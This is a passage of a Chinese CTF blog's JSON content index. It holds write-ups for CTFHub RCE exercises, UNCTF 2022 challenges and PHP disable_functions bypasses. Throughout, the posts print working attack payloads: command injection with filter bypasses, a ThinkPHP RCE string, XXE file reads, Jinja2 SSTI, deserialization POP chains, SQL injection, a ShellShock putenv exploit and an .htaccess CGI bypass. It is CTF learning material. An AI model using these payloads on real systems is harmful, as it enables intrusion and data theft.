e8c49b1132b5 15b652a5f3a8 62013} 最后这个彩蛋剩余部分也没找到网上搜了下才明白:感谢 anweilx 的wp第一行是俩页面的最后有第二行是在俩页面源码 分别搜奖励 在上面那行一个是 base64 然后再转 url 一个是 hex 解码第三行是俩页面的图片隐写 丢进 winhex第四行有提示aes 256 ecb解码 其他彩蛋剩余皆可在对应页面搜索 egg 即可获得","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ctfhub","slug":"ctfhub","permalink":"http://s1rius.space/tags/ctfhub/"}],"author":"s1rius"},{"title":"ctfhub-rce","slug":"ctfhub-rce","date":"2023-07-06T12:36:46.916Z","updated":"2024-05-20T09:27:37.308Z","comments":true,"path":"2023/07/ctfhub-rce/","permalink":"http://s1rius.space/2023/07/ctfhub-rce/","excerpt":"","text":"rce:远程代码执行漏洞分为远程命令执行 ping 和远程代码执行 evel。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是 RCE 漏洞。相当于直接操控服务器电脑的 cmd 命令行!高危漏洞! eval 执行12345678<?php if(isset($_REQUEST['cmd'])){ eval($_REQUEST['cmd']); } else{ highlight_file(__FILE__); }?> 传参给 cmd 来 eval 1/?cmd=system("ls /");//此处因为根目录无flag 所以看上一级目录 找到后 再 cat /flag_**** 文件包含这里使用 strpos 函数 strpos:查找字符串首次出现的位置 int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) 题目使用 123if(!strpos($_GET["file"],"flag")){//无flag字符即可运行 include $_GET["file"];} 来包含文件,而下方给出的 shell.txt 含有 eval 漏洞 于是包含它(shell.txt 没有“flag”字符 所以这里 strpos 没影响) 通过 get(包含文件) post(传参)并用来得到 flag php info1234567891011<?phpif (isset($_GET['file'])){ if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; }}else { highlight_file(__FILE__);}?><hr>i don't have shell, how to get flag? <br><a href="phpinfo.php">phpinfo</a> 点击 phpinfo 链接 可查看 php 环境 php://input12345/*php:// — 访问各个输入/输出流(I/O streams)PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。php://input是个可以访问请求的原始数据的只读流。 读取源代码看环境 无法使用 php://input 123456789101112<?phperror_reporting(E_ALL);if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; }} else { highlight_file(__FILE__);}?> 但还必须是 php://开头 php://filter 远程包含同 phpinfo 做法相同 命令注入输入命令 1127.0.0.1;ls 然后 cat 时出现了问题 输出被限制了 于是用管道符号来限制输出 base64 得到后再解码 过滤 cat123456789101112131415161718192021222324252627<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) {//过滤了cat $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?><pre><?php if ($res) { print_r($res); }?></pre><?php show_source(__FILE__);?></body></html> moreLinux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。 1more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..] 过滤空格在 linux 里空格可用< 或 ${IFS}代替 过滤运算符cat [file]|base64 还可以用 base64 [file] 12345678910111213<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\\||\\&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?> 综合练习1!preg_match_all("/(\\||&|;| |\\/|cat|flag|ctfhub)/", $ip ;可以用%0a(url 编码) cat 用 base64 flag 用正则 f*** *lag 等 空格用 ${IFS}","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ctfhub","slug":"ctfhub","permalink":"http://s1rius.space/tags/ctfhub/"},{"name":"rce","slug":"rce","permalink":"http://s1rius.space/tags/rce/"}],"author":"s1rius"},{"title":"2022 unctf wp","slug":"2022unctf wp","date":"2023-07-06T12:36:46.915Z","updated":"2024-05-20T09:27:37.558Z","comments":true,"path":"2023/07/2022unctf wp/","permalink":"http://s1rius.space/2023/07/2022unctf%20wp/","excerpt":"","text":"web我太喜欢 bilibili 大学啦–中北大学打开就一个 phpinfo直接搜 flag 直出 虽然我是中北大学的,但这不是我们实验室出的题略感离谱 签到-吉林警察学院打开有行注释以为拿来当用户名密码登录就完了来结果只有个登录成功假签到题尝试使用其他用户名(规律:用户名=密码)发现学号改一下会出现字符再试试还有开始爆破burp 先设置最后一位为变量从 1 爆到 9然后再设置两位为变量从 10 开始往后爆最后手打的 flag懒得写脚本了(为了个签到题写脚本不太划算) easy_upload-云南警官学院传个一句话 mua 写的图片 🐎进去发现不行试了半天把 ContentType 改成 png传进去了然后 🐜🗡 连一下找 flag在/home/ctf/flag 302 与深大-深圳大学进去提示 302 重定向burp 抓包然后让 get 和 post 传参进去最后改cookie: admin=trueflag get√ 我太喜欢 bilibili 大学啦修复版-中北大学打开又是 phpinfo看题目描述找 hint于是搜索 hint发现指向 admin_unctf.php看源码发现注释 再抓包,发现 hint2get 用户名密码 unctf2022审源码注入点为 cookie 的 rcecmd=127.0.0.1|cat /flag得到个网址指向 B 站用户界面,flag 出现在个签里 babyphp-中国人民公安大学先是弱类型 0e1 直接过的二个弱类型比较 sha1 值拿出收集的 sha1 值为 0exxxx 的字符组个 payload post 上去:a=0e1&key1=aaroZmOk&key2=aaK1STfY当然用数组绕过也可以a=0e1&key1[1]=1&key2[1]=2发现回显有手就行说明到最后一步了找了半天姿势print env 出了?code=print_r(exec("env")); ezgame-浙江师范大学进入游戏发现 999 滴血比 10 滴血于是直接定位血量,搜索 10 和 999发现 10 有一对 110 干扰,不好定位于是从 999 下手把 mainjs 放到本地把代码缩起来方便看发现 999(5149 行)在 120 里面定义往前找 new 的 r 发现定位到 146(5104) 去看 146发现个 life 和 maxlife选择 maxlife 下手先下个断点运行后调用来生成各个属性,一开始给的是 10 即自己的血量再继续运行直到 t=999再修改右侧作用域里的 t 为 0继续运行 flag 弹出 给你一刀-西南科技大学放个 tp5.0 的页面在主页指向性太明显了直接搜 tp5.0 漏洞当然以 rce 为主只看了前几个网址共有两种 payload试了之后有一种成功?s=index|think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env 听说 php 有一个 xxe-西南科技大学拿出 xxe 最简单的 payload(做 buuctf 某 xxe 题时 payload 留的)用 raw 格式发包 12345678<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY flag SYSTEM "file:///flag">]><root><username>&flag;</username><password>2333</password></root> 快乐三消-河南理工大学做 ctfshow 的黑盒题做多了这种题就好说了先扫目录扫到 admin 和.gitgithack 直接 down 下来发现没多少东西转去看 admin也没注释啥的开始猜密码没猜到放了一段时间回来看想到 admin 目录下还可能有备份泄露之前光跑的主目录下的跑 admin 下发现个 login.php.bak有注释 admin/unctf进入后台 本来又想 upload 的时候直觉告诉我应该不是转去看源码发现 fi.php?filename=index.php 到这里后发现刚才扫目录的时候也扫到 fi 了但是当时不知到咋用fi 应该是 file 吧学会了,下会遇见就接?filename= 定位到那个按钮发现是个网站套网站,应该能读 flag/admin/fi.php?filename=/flag读到题本身不难但是误导性太强了出题师傅 tql ezunseri-西华大学destruct->get->toString->invoke->绕过 wakeup 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465<?phpclass Exec{ public $content; public function execute($var) { eval($this->content); } public function __get($name) { echo $this->content; } public function __invoke() { $content = $this->execute($this->content); } public function __wakeup() { $this->content = ""; die("1!5!"); }}class Test{ public $test; public $key; public function __construct() { $this->test = new Exec(); $this->test->content = "system('cat /fl*');"; } public function __toString() { $name = $this->test; $name(); }}class Login{ public $name; public $code = '3.1415926'; public $key; public function __destruct() { if ($this->code = '3.1415926') { return $this->key->name; } }}$a = new Login();$a->key = new Exec();$a->key->content = new Test();echo serialize($a),"\\n"; 得到O:5:"Login":3:{s:4:"name";N;s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:19:"system('cat /fl*');";}s:3:"key";N;}}}将 Exec 的成员数改为 2(两个任意一个即可)绕过 wakeupO:5:"Login":3:{s:4:"name";N;s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":2:{s:7:"content";s:19:"system('cat /fl*');";}s:3:"key";N;}}} poppop-中国人民公安大学12345678910111213141516171819202122232425262728293031323334353637383940<?phpclass A{ public $code = "phpinfo();"; function __call($method, $args) { eval($this->code); } function __wakeup() { $this->code = ""; }}class B{ public $key; function __destruct() { echo $this->key; }}class C{ private $key2; function __construct() { return $this->key2 = new A(); } function __toString() { return $this->key2->abab(1,1); }}$b = new B();$b->key = new C();//$b->key->key2 = new A();echo urlencode(serialize($b)), "\\n";echo serialize($b), "\\n"; babynode-云南大学看题目描述原型链污染直接套 ps:感觉见过类似的题好像是 ctfshow? json 格式传 1{"__proto__":{"id":"unctf"}} easy ssti-金陵科技学院jinjia2ssti 常用 payload 随便上一个过滤 class各种操作掩护一下 class都不行class 查的很严啊别骂了别骂了 换方法:{{x.__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")}}成功输出改下 payload 读 flag.txtNM给你点祝福了你还骗我nnd想到这个比赛藏 flag 基本都在 env 里有无代打出题人服务读 env成功 easy_rce-西南科技大学提示 rce 的布尔盲注发现><被过滤 不乐写脚本直接爆 12345678910111213141516171819import requestscharlist = 'abcdefghijklmnopqrstuvwxyz01234567890_-'result = ''for i in range(7, 50): for char in charlist: url = "http://4a423fce-e3cf-4d13-9f02-f28cb11fa8ba.node.yuzhian.com.cn/index.php?code=test $(echo $(tac /?lag)|cut -c {0}) == {1}||1".format( i, char) # print(url) back = requests.get(url=url) # print(back.text) if "success" in back.text: result = result + char print(i, back.text) break if "fail" in back.text: breakprint('UNCTF{' + result + '}') EZ-2048按下 f12发现程序监听等候在 game.js然后想到输入邀请码错误后返回 error在 game.js 搜索 error然后一直往上查到 checkInvited()仔细阅读后发现加密方式在这里分奇偶数进行两种异或由于环境中 f12 自动卡在 debuger所以只能 down 到本地运行本地起了个环境删掉 game.js 的第一行使得可以本地调试由于需要得到这几组数据需要转成正常 10 进制尝试打个断点看下数据可以在 debug 中点击 buf 后面的跳转到内存检查器16 转 10 后得到正常数据写脚本逆回去由于偶数列与 invite 的 i+1 相关即 invite 的奇数项所以需要先将 invite 的奇数项全部生成先把奇数项逆回去 123456789101112131415161718view = [ 68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0, 19, 0, 0]inv = ''for i in range(1, 24, 2): # 先逆奇数项 other = view[i - 2] if i - 2 >= 0 else 0 view[i] ^= otherfor i in range(0, 24, 2): # 再逆偶数项 other = view[i + 1] if i + 1 <= 23 else 0 view[i] ^= otherfor i in range(24): inv += chr(view[i])print(inv)## w3lc0me_7o_unctf2022!!!! 然后将本地的 game.js 中 addRandomTile()生成的随机方块改为固定的即将 223 行改为const value = 1024;通关条件检测的是 1024 碰撞生成 2018 的过程此处若改为 2048则无该过程所以最快只能改为 1024 我感觉该题貌似也可以通过逆向 wasm 来直接获取 flag不过那估计就不是 web 题了 乐本来这题就是个密码学题 不乐 随便注-云南警官学院过滤了 or and select use(是 use 不是 user?怪哦)双写可绕过尝试了几下没啥手感转去偷懒用 sqlmap先是读库,表,行都正常记得有个 haha 表 笑话我是吧然后还有个 ctftranning -> FLAG_TABLE -> FLAG_COLUMN 读的时候没回显貌似是空的但是读 ctftranning 里的 news 里面说就在这个库里,但不在这人傻了在那个库里疯狂找甚至怀疑 FLAG_COLUMN 里的读不到是有过滤导致的还在那想咋绕过啥的最后死活出不来于是去尝试 sql 注入的文件操作sqlmap --os-shell没成功?但是--file-read "/flag"成功带回 Sqlsql-中国人民公安大学审源码发现多处都有 addslashes_deep 过滤有想到时 addslash 旧版本有绕过跟进之后发现该函数过滤挺严格的于是放弃该方法转向逻辑性漏洞最后发现 index.php 里qxxx 都没有经过 addslashes_deep 过滤直接 insert 进去了尝试从这里注进去由于本体的重点应该是使用 admin 用户去查询所以考虑能 insert 一个 admin 用户的方法不需要查数据所以也就不需要回显');insert into users values (NULL,'admin','2105044235');#在 index.php 的做题界面随便选burp 截包将上面 payload 加在 post 的答案后面重发然后登出用 admin 登录 查询成绩 这里查询任何一位存在的用户都可以 get flag PWNwelcomeUNCTF2022-云南警官学院 石头剪刀布-西华大学伪随机数伪代码中 seed=0xA然后 pwn 1234567891011121314151617181920212223242526272829303132333435363738from pwn import *from ctypes import *elf = cdll.LoadLibrary('libc.so.6')context.log_level = 'info'elf.srand(0xA)k = 0list = []conn = remote('node.yuzhian.com.cn', 31599)conn.recv()conn.send('y')conn.recv()print("pwn!")conn.recv()print("1")for i in range(100): num = elf.rand() % 3 if num == 0: payload = 2 elif num == 1: payload = 0 else: payload = 1 print(i, ':', payload) print(str(payload)) conn.sendline(str(payload)) tf = conn.recvrepeat(timeout=0.1) # if "success!!!" in str(tf): # print("###################")conn.close()flag = conn.recvall()print(''.join(list), tf, flag) rewhereisyourkey-广东海洋大学先看 main建了个数组经过 ooooo 处理即为 flag 1234567891011121314151617181920212223242526272829303132333435363738394041#include <iostream>using namespace std;int ooooo(int a1){ if (a1 == 109) return 109; if (a1 <= 111) { if (a1 <= 110) a1 -= 2; } else { a1 += 3; } return a1;}int main(){ int v5[10], i; v5[0] = 118; v5[1] = 103; v5[2] = 112; v5[3] = 107; v5[4] = 99; v5[5] = 109; // //109 v5[6] = 104; v5[7] = 110; v5[8] = 99; v5[9] = 105; cout<<"UNCTF{"; for (i = 0; i <= 9; ++i) { v5[i] = ooooo(v5[i]); cout << (char)v5[i]; } cout<<"}";} ezzzzre-广东海洋大学直接根据他的处理 flag = 2 * aHelloctf[i] - 69; 12345678910111213141516#include <iostream>using namespace std;int main(){ string aHelloctf = "HELLOCTF"; string flag; int i; for (i = 0; i <= 7; ++i) { flag = 2 * aHelloctf[i] - 69; cout << flag; } //cout << flag << endl;} cryptodddd-西南科技大学就 0 和 1 转成.-/转成空格莫斯解赛博厨子构造一手一把梭 md5-1-西南科技大学及 misc 小心海最后一步脚本1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from hashlib import md5######这里是MD5-1的脚本file = open("outben.txt", 'r')line = file.readlines()## rint(line)list = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '{', '}', '_']flags = []for i in line: for j in range(0, 36, 1): md = md5(list[j].encode()).hexdigest() if (i.strip('\\n') == md): flags += list[j]flag = ''.join(flags)print('UNCTF{'+flag+'}')####################下面是misc小心海的脚本,因为很像,直接拿md5-1的改的from hashlib import md5file = open("out.txt", 'r')line = file.read()md = []for i in range(0, 21): md.append(line[i * 32:(i + 1) * 32].lower())print(md)list = [ 'U', 'N', 'C', 'T', 'F', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '{', '}', '_']flags = []for i in md: for j in range(0, 44, 1): md = md5(list[j].encode()).hexdigest() if (i == md): flags += list[j]flag = ''.join(flags)print(flag) md5-2-西南科技大学123456789101112131415161718192021222324252627282930from hashlib import md5file = open("out.txt", 'r')line = file.readlines()## rint(line)list = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '{', '}', '_', 'U', 'N', 'C', 'T', 'F']flags = []t = []for i in range(0, 39): for j in range(0, 44, 1): if i == 0: f = int(md5(list[j].encode()).hexdigest(), 16) hexed = hex(f)[2:] if (line[i].strip('\\n') == hexed): flags += list[j] t.append(f) else: f = int(md5(list[j].encode()).hexdigest(), 16) hexed = hex(f ^ t[i - 1])[2:] if (line[i].strip('\\n') == hexed): flags += list[j] t.append(f)flag = ''.join(flags)print(flag) caesar-西南科技大学凯撒换表 base 123456789101112131415161718192021222324## B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}## UNCTF{w0w_Th1s_d1fFerent_c4eSar}## ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/## K=+19file = open("caesar.txt", "r")t = []o = file.read()list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"## f = o.strip('\\n')for i in range(0, 27): for j in range(0, 64): print(o[i]) if o[i] == list[j]: if j + 19 <= 64: t.append(list[j + 19]) else: t.append(list[j + 19 - 64]) # print(t) break # (list[j + 19]) # break # print(o[i], list[j])flag = ''.join(t)print(flag) Single table-西南科技大学paymfairx 密码修改对称加密的流密码根据 key 和 table 对应关系列出新 table 如下图左侧根据交叉对应关系得到右侧第三行(第四行是我转小写尝试,还忘了个 T)发现前面完美对应后面却出现错误看 koqw 像 knowknow 啥哪paymfairx 密码吗略作改动:UNCTF{GOD_YOU_KNOW_PLAYFAIR}也不知道是故意需要修改的还是我有那个细节错了反正能做出来不管了 Multi table-西南科技大学略修改加密算法使其输出table,base_table.index(flag[i])来得到其他无关随机数的固定数据可得出 UNCTF 加密得到的 SDCG分别在table[?、?、?、?][9、14、5、16]由此可根据前四位密文逆推出key = [9, 15, 23, 16]这样解密所需的全部数据得到编写解密脚本加密: 12345flowchart LR 加密 --> flag 加密 --> key flag --> base_table列 -->table列 key --> table行 1234flowchart LR 解密 -->key table行 -->table列 --c--> base_table列 --> flag key --> table行 123456789101112131415161718192021222324from string import ascii_uppercasefrom binascii import b2a_hex,a2b_hexflag = ''c = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'base_table = [ 'J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']table = {}key = [9, 15, 23, 16]for i in range(26): table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]x = 0for i in c: if i in ascii_uppercase: bt_num = table[key[x%4]].index(i) flag += base_table[bt_num] x += 1 else: flag += iprint(flag) 以后找时间学学密码吧之前一直想学一直没找到时间靠着从 misc 那学的古典密码啥的,写了前几题的脚本还有积累的脚本工具走到这rsa 好多解应该是基础的 rsa,想拿工具试试来,苦于不咋会用于是 rsa 作罢比完赛一定找大佬学学 MISCmagic_word-西南科技大学提示都送到嘴边了直接零宽一把梭 syslog-浙江师范大学打开是个系统日志文件寻找敏感信息例如发现能搜索到 password解 base 得到压缩包密码秒出 In_the_Morse_Garden-陆军工程大学pdf 发现隐藏字符赛博厨子构造一手 芝麻开门-广东海洋大学txt 下面有段 basea2V5MQ==拿他当 lsb 密码,一把梭 找得到我吗-闽南师范大学docx,隐藏字符,零宽都试过了以为触及知识盲区了放了发现已经很多解了然后鼓起勇气看了下 xml发现还真在里面 misc 刷的文档题不多,还没大见过放在 xml 里的,我太菜了,还好知道这个知识点但那道社什么社这么多解是真没想到,没对上脑电波? zhiyin 小~黑子! hex 看篮球,一眼倒了逆过来Go_p1ay(那个 1 和 l 我当时都没发现,还有下划线也没划清楚,傻乎乎试了半天)下半段 zhiyinhex 里发现.-莫斯出 巨鱼-河南理工大学上来 binwalk 下出来个压缩包对 fish 一通操作没找到密码卡了半天去看别的题了回来发现 png 有大问题修改长宽高发现无所谓我会出手解压文档有密码去看图片 我当时一眼苯环,服了,高中化学差点还给老师了 本来以为氯化苯输入 C6Cl6、汉语等都不对静下心来一看,这 nm 不是苯环再试 C6H6Cl6 还不对脑洞一开 666flag get√ 清和 fan-江西警察学院先是注释提示社工很容易找到解压缩lsb 隐写得到第二层密码发现段 wav 文件听了下,这频率感觉像 sstv vmware 的 Kali 前几个月转 wsl 了kali 临时现装 sstv 出了点 bug网上找了半天发现个手机软件 大晚上的 舍友都在打游戏,吵得很于是去阳台识别北方地区大晚上冷得很识别了好几次出来个微糊的 flag get√ 清和是吧,举办了 不是 剥茧抽丝-内蒙古警察职业学院nm 看到这注释,有多少人想到的是掩码hashcat 跑了好几分钟发现密码就是这小丑竟是我自己零宽换了几个方式,终于出了(文件零宽) 结果,这不是下一层密码看了眼 hintcrc 不一样没对上脑电波卡了几天?想到,外面的比里面的大,能删减啊把零宽的部分删了发现正好明文攻击然后再用上面一层零宽解出来的解密码flag get颓废~(这个题是拖得最长的,不乐) 我小心海也绝非鳝类-中国计量大学现代科技学院小心海说的话解 base92一开始 ocr 识别的 c 成大写了解出来有不可打印字符检查了一遍改过来了 然后发现能 lsb EASYLSB尝试把小心海的话当密码再解 lsb发现串 16,开始误入歧途转了文件想到小心海给我说的话尝试 md5 转切片 32 位再改下 md5-1 的脚本==细看的话去 cypto 区 md5-1 看吧直出","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"unctf","slug":"unctf","permalink":"http://s1rius.space/tags/unctf/"}],"author":"s1rius"},{"title":"Bypass disable_function","slug":"Bypass disable_function","date":"2023-07-06T12:36:46.915Z","updated":"2024-05-20T09:27:37.350Z","comments":true,"path":"2023/07/Bypass disable_function/","permalink":"http://s1rius.space/2023/07/Bypass%20disable_function/","excerpt":"","text":"LD_PRELOAD时间紧 于是先采用最省时的方法先蚁剑连发现打不开 flag 文件要使用蚁剑插件绕过disabled function 如果蚁剑插件市场打不开的话可以去 github 搜github 上有说明 按着他的安 连上之后在蚁剑主页面右键 webshell 使用该插件按照步骤操作成功后把 webshell 地址改为 http://……/.antproxy.php在连上就能 tac 了tac /flag ShellShock进去发现连不上查了下大佬博客说是环境不正常原理如下 如果环境变量的值以字符() {开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在 shell 启动的时候才生效。 脚本 123456<?php$cmd = " tac /flag>/var/www/html/1.txt";putenv("PHP_DMIND=() { :; };$cmd");error_log("dmind",1);echo file_get_contents("/var/www/html/1.txt");?> 用蚁剑传进去后浏览器访问这个文件即可在 1.txt 看到 flag Apache Mod CGI 如果.htaccess 文件被攻击者修改的话,攻击者就可以利用 apache 的 mod_cgi 模块,直接绕过 PHP 的任何限制,来执行系统命令 1.Mod CGI 就是把 PHP 做为 APACHE 一个内置模块,让 apache http 服务器本身能够支持 PHP 语言,不需要每一个请求都通过启动 PHP 解释器来解释 PHP. 2.它可以将 cgi-script 文件或者用户自定义标识头为 cgi-script 的文件通过服务器运行. 3.在.htaccess 文件中可定制用户定义标识头 4.添加 Options +ExecCGI,代表着允许使用 mod_cgi 模块执行 CGI 脚本 5.添加 AddHandler cgi-script .cgi,代表着包含.cgi 扩展名的文件都将被视为 CGI 程序 条件 必须是 apache 环境 mod_cgi 已经启用 必须允许.htaccess 文件,也就是说在 httpd.conf 中,要注意 AllowOverride 选项为 All,而不是 none 必须有权限写.htaccess 文件 脚本:.htaccess 1Options +ExecCGI AddHandler cgi-script .cgi shell.cgi 12#!/bin/shecho&&cd "/var/www/html/backdoor";cat shell.cgi;echo 96642;pwd;echo c26b314f4b 简单方法:蚁剑连还是那个插件 bypass! PHP-FPM FPM 是 fast-cgi 的协议解析器 webserver 使用 cgi 协议封装好用户的请求发送给 FPM FPM 按照 cgi 的协议将 TCP 流解析成真正的数据 蚁剑 bypass模式:FPM地址:127.0.0.1:9000 或 localhost:9000植入后修改 shell 地址为 http://……/.antproxy.php 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566<?phpfunction get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers;}function header_callback($str){ return strtoupper($str[0]);}function parseHeader($sResponse){ list($headerstr,$sResponse)=explode("",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret;}set_time_limit(120);$headers=get_client_header();$host = "127.0.0.1";$port = 61921;$errno = '';$errstr = '';$timeout = 30;$url = "/index.php";if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING'];};$fp = fsockopen($host, $port, $errno, $errstr, $timeout);if(!$fp){ return false;}$method = "GET";$post_data = "";if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input');}$out = $method." ".$url." HTTP/1.1\\r\\n";$out .= "Host: ".$host.":".$port."\\r\\n";if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\\r\\n";}$out .= "Content-length:".strlen($post_data)."\\r\\n";$out .= implode("\\r\\n",$headers);$out .= "\\r\\n\\r\\n";$out .= "".$post_data;fputs($fp, $out);$response = '';while($row=fread($fp, 4096)){ $response .= $row;}fclose($fp);$pos = strpos($response, "\\r\\n\\r\\n");$response = substr($response, $pos+4);echo $response; UAFGC 利用的是 PHP Garbage Collector 程序中的堆溢出触发 题目附件其实蚁剑的 reference 就有这附件 包括后面的大佬脚本可以用蚁剑一把梭 另附[大佬poc](https://github.com/mm0r1/exploits)UAF 的脚本里面都有tql! Json Serializer UAF 漏洞利用 json 在序列化中的堆溢出触发 bypass,漏洞为 bug #77843 蚁剑一把梭 Backtrace UAF 漏洞利用的是 debug_backtrace 这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为 bug #76047 FFIPHP FFI 详解 **disabled function:**pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv iconv github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/ https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566<?phpfunction get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers;}function header_callback($str){ return strtoupper($str[0]);}function parseHeader($sResponse){ list($headerstr,$sResponse)=explode("",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret;}set_time_limit(120);$headers=get_client_header();$host = "127.0.0.1";$port = 63947;$errno = '';$errstr = '';$timeout = 30;$url = "/index.php";if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING'];};$fp = fsockopen($host, $port, $errno, $errstr, $timeout);if(!$fp){ return false;}$method = "GET";$post_data = "";if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input');}$out = $method." ".$url." HTTP/1.1\\r\\n";$out .= "Host: ".$host.":".$port."\\r\\n";if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\\r\\n";}$out .= "Content-length:".strlen($post_data)."\\r\\n";$out .= implode("\\r\\n",$headers);$out .= "\\r\\n\\r\\n";$out .= "".$post_data;fputs($fp, $out);$response = '';while($row=fread($fp, 4096)){ $response .= $row;}fclose($fp);$pos = strpos($response, "\\r\\n\\r\\n");$response = substr($response, $pos+4);echo 